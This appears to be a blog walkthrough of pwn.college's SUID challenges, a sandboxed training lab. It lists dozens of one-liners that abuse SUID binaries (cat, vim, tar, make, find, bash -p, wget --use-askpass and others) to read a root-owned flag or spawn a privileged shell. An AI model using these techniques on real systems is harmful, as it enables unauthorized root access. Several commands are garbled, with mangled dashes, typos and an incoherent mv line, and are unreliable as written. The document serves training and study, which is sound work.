pwn.college is an online platform that offers training modules for cybersecurity professionals. It helps students and others learn about and practice core cybersecurity concepts.
Pwn.college is an education platform for students (and other interested parties) to learn about, and practice, core cybersecurity concepts in a hands-on fashion. In martial arts terms, it is designed to take a “white belt” in cybersecurity to becoming a “blue belt”, able to approach (simple) CTFs and wargames. Our philosophy is “practice makes perfect”.
The platform is maintained by an awesome team of hackers at Arizona State University. It powers much of ASU’s cybersecurity curriculum, and is open, for free, to participation for interested people around the world!
The ‘cat’ command is commonly used to display the contents of a file. In this scenario, the SUID bit is set for ‘cat,’ enabling us to read the /flag file, which the root user owns
cat /flag
The ‘more’ command is used to view the contents of a file page by page. In this case, we attempt to read the /flag file, leveraging the SUID bit set on ‘more’ and accessing a file owned by root
more /flag
Similar to ‘more,’ ‘less’ is a command-line pager for viewing files interactively. Here, we aim to read the /flag file using ‘less’ with the SUID bit set, dealing with a file owned by root.
less /flag
The ‘head’ command is employed to display the initial lines of a file. In this context, we try to read the /flag file with the SUID bit set on ‘head,’ accessing a file owned by root
head /flag
Used to display the last few lines of a file, the ‘tail’ command is applied here to read the contents of the /flag file. The SUID bit is set for ‘tail,’ facilitating access to a file owned by root
tail /flag
Sorting the lines of a file is a common task with the ‘sort’ command. Attempting to read the /flag file, we utilize the SUID bit set for ‘sort’ while dealing with a file owned by root.
sort /flag
The ‘vim’ text editor is invoked to open and edit files. In this case, we open the /flag file using ‘vim’ with the SUID bit set, aiming to access a file owned by root.
vim /flag
As a powerful text editor, ‘emacs’ is used here to open and modify files. We try to read the /flag file using ‘emacs’ with the SUID bit set, addressing a file owned by root
emacs /flag
p
Offering a user-friendly text editor, ‘nano’ is utilized to open and edit files. In this instance, we attempt to read the /flag file using ‘nano’ with the SUID bit set, interacting with a file owned by root.
nano /flag
Reversing the content of a file is achieved with the ‘rev’ command. Here, we attempt to reverse the /flag file’s content 2 times using ‘rev’ with the SUID bit set, interacting with a file owned by root.
rev /flag | rev
The ‘od’ command displays the octal dump of a file. Trying to read the /flag file, we use ‘od’ with the SUID bit set, interacting with a file owned by the root.
od /flag
For a hexadecimal dump of a file, the ‘hd’ command is employed. In this scenario, we aim to read the /flag file using ‘hd’ with the SUID bit set, dealing with a file owned by root
hd /flag
Generating a hexadecimal dump with line annotations, ‘xxd’ is used here to read the /flag file. The SUID bit is set for ‘xxd,’ allowing access to a file owned by root.
xxd /flag
Base32 encoding and decoding is performed with the ‘base32’ command. Here, we Encode and decode the /flag file to read the contents.
base32 /flag | base32 -d
Base64 encoding and decoding is performed with the ‘base64’ command. Here, we Encode and decode the /flag file to read the contents.
base64 /flag | base64 -d
The ‘split’ command is used to split the Files. We are splitting the output of files into another file and viewing it through ‘cat’ command
split /flag
ls
cat FILENAME_THAT_IS_GENERATED
‘gzip’ is a tool to compress and decompress files. Here, we compress the flag and decompress the same to view the contents.
gzip -c /flag | gzip -d
‘gzip’ is a tool to compress and decompress files. Here, we compress the flag and decompress the same to view the contents.
bzip2 -c /flag | bzip2 -d
Creating a zip archive of a file is achieved with the ‘zip’ command. Attempting to create a zip archive of the /flag file, we use ‘zip’ with the SUID bit set, accessing a file owned by root.
zip flag.zip /flag && cat flag.zip
The ‘tar’ command is used to create and manipulate tar archives. Here, we attempt to create a tar archive of the /flag file using ‘tar’ with the SUID bit set, dealing with a file owned by root.
tar -cf flag.tar /flag && cat flag.tar
Creating and managing ar archives is done with this command. We try to create an ar archive of the /flag file, utilizing the SUID bit set for ‘ar’ and accessing a file owned by root.
F=$(mktemp -u) && ar r “$F” /flag && cat “$F”
The ‘find’ command locates files, and ‘cpio’ is used for archive creation. We attempt to create a cpio archive of the /flag file using ‘find’ and ‘cpio’ with the SUID bit set, dealing with a file owned by root.
find /flag | cpio -o > flag.cpioio && cat flag.cpio
For creating ISO images, the ‘genisoimage’ command is used. In this case, we attempt to create an ISO image with the /flag file using ‘genisoimage’ with the SUID bit set, interacting with a file owned by root
genisoimage -sort /flag
“The ‘env’ command sets the environment for a command. Here, we use ‘env’ to execute ‘cat’ and display the contents of the /flag file with the SUID bit set, accessing a file owned by root
env cat /flag
The ‘find’ command is employed with the ‘exec’ option to execute commands on found files. We attempt to execute a shell with root privileges and display the /flag file after gaining root access.”
find . -exec /bin/sh -p \;
cat /flag
The ‘make’ command builds and maintains programs. In this case, we use ‘make’ to execute ‘cat’ and display the contents of the /flag file with the SUID bit set, dealing with a file owned by root
make -s — eval=$’x:\n\t-’”cat /flag”
The ‘nice’ command alters the scheduling priority of a command. Trying to execute ‘cat’ with an increased priority, we aim to display the /flag file with the SUID bit set, accessing a file owned by root.
nice cat /flag
The ‘timeout’ command sets a time limit on the execution of a command. Here, we use ‘timeout’ to limit the execution of ‘cat’ and display the contents of the /flag file with the SUID bit set, dealing with a file owned by root
timeout 1 cat /flag
The ‘stdbuf’ command adjusts buffering options for a command. In this instance, we use ‘stdbuf’ to run ‘cat’ with unbuffered input, attempting to display the contents of the /flag file with the SUID bit set, and accessing a file owned by root.
stdbuf -i0 cat /flag
The ‘setarch’ command sets the architecture for a command. Trying to display the contents of the /flag file, we use ‘setarch’ to execute ‘cat’ with the SUID bit set, interacting with a file owned by root
setarch $(arch) cat /flag
The ‘watch’ command repeats a command at specified intervals. Here, we use ‘watch’ to repeatedly execute ‘cat’ and display the contents of the /flag file with the SUID bit set, dealing with a file owned by root.
watch -x cat /flag
Socat is a versatile relay tool. Attempting to transfer and display the contents of the /flag file, we use ‘socat’ with the SUID bit set, dealing with a file owned by root.
socat -u /flag -
Whiptail is a dialog box-driven interface. Here, we use ‘whiptail’ to display the contents of the /flag file in a dialog box with specified dimensions, dealing with a file owned by root
whiptail — textbox /flag 10 30
The ‘awk’ command is used for pattern scanning and processing. In this scenario, we try to use ‘awk’ to display the contents of the /flag file.
awk “//” /flag
The ‘sed’ command is a stream editor. Here, we attempt to use ‘sed’ to display the contents of the /flag file
sed ‘’ /flag
he ‘ed’ editor is employed for line-oriented text editing. Trying to use ‘ed’ to print the contents of the /flag file
ed /flag CN#Then type p to print flag and q to quit
The ‘chown’ command changes file ownership. Here, we attempt to change the ownership of the /flag file to ‘hacker’ and display its contents
chown hacker /flag && cat /flag
The ‘chmod’ command modifies file permissions. In this instance, we attempt to change the permissions of the /flag file to allow read and write access for all users, and then display its contents
chmod 666 /flag && cat /flag
Copying the /flag file to the current directory is done with the ‘cp’ command. We try to copy the /flag file without the permissions.
cp — no-preserve=all /flag . && cat flag
The ‘mv’ command is used to move (rename) files. Here we are moving the code of ‘cat’ to the ‘mv’ tool. Now, if we use the ‘mv’ command it will display the contents of the file like ‘cat’.
Then we are running the /challenge/babysuid_level40
to set SUID on mv and we can read the contents of the /flag file.
mv /usr/bin/cat /usr/bin/mv || ./challenge/babysuid_level40 || mv /flag | grep pwn.college{
The ‘perl’ command is used for text processing. Here, we attempt to use ‘perl’ to display the contents of the /flag file.
perl -pe ‘END { close ARGV }’ /flag
We are trying to run /flag file with python, which throws an error that contains the flag string.
You can also try to write a program that reads the content of the /flag file.
python /flag
Creating and running a Ruby script to display the contents of the /flag file is done here with ‘echo’ and ‘ruby’
echo “puts File.read(‘/flag’)” >> a.rb && ruby a.rb CN
Executing bash with privileged mode is attempted here. After that, we try to use ‘cat’ to display the contents of the /flag file
bash -p CN then cat /flag
The ‘date’ command is typically used for displaying or setting the system date and time. Here, we attempt to use ‘date’ to display the contents of the /flag file. We have to input a datefile for this command but if we give wrong file it will throw an error with the contents of the file.
date -f /flag
The ‘dmesg’ command displays kernel messages. Here, we attempt to use ‘dmesg’ to display the contents of the /flag file
dmesg -F /flag
The ‘wc’ command is used for word counting. Here, we try to use ‘wc’ to count words in the /flag file specified in a null-terminated list
wc — files0-from=/flag
The ‘gcc’ command is a compiler for programming languages. In this scenario, we attempt to preprocess the /flag file using ‘gcc’ with specific flags
gcc -x c -E /flag
The ‘as’ command is an assembler for programming languages. Here, we try to use ‘as’ to assemble the /flag file to display its contents
as /flag
This command creates a temporary executable script file using mktemp
, sets execute permissions, and writes a simple shell script into it. The script is designed to execute /bin/sh
with a specific set of options. Finally, it uses wget
to download a file, passing the created script as the askpass program, allowing for potential privilege escalation or unauthorized access.
Then we can read the /flag file using cat /flag
F=$(mktemp) && chmod +x $F && echo -e ‘#!/bin/sh -p\n/bin/sh -p 1>&0’ >$F && wget — use-askpass=$F 0
cat /flag
A YouTube Channel for Cybersecurity Lab’s Poc and Write-ups
Telegram Channel for Free Ethical Hacking Dumps
Thank you for Reading!
Happy Ethical Hacking ~
Author: Karthikeyan Nagaraj ~ Cyberw1ng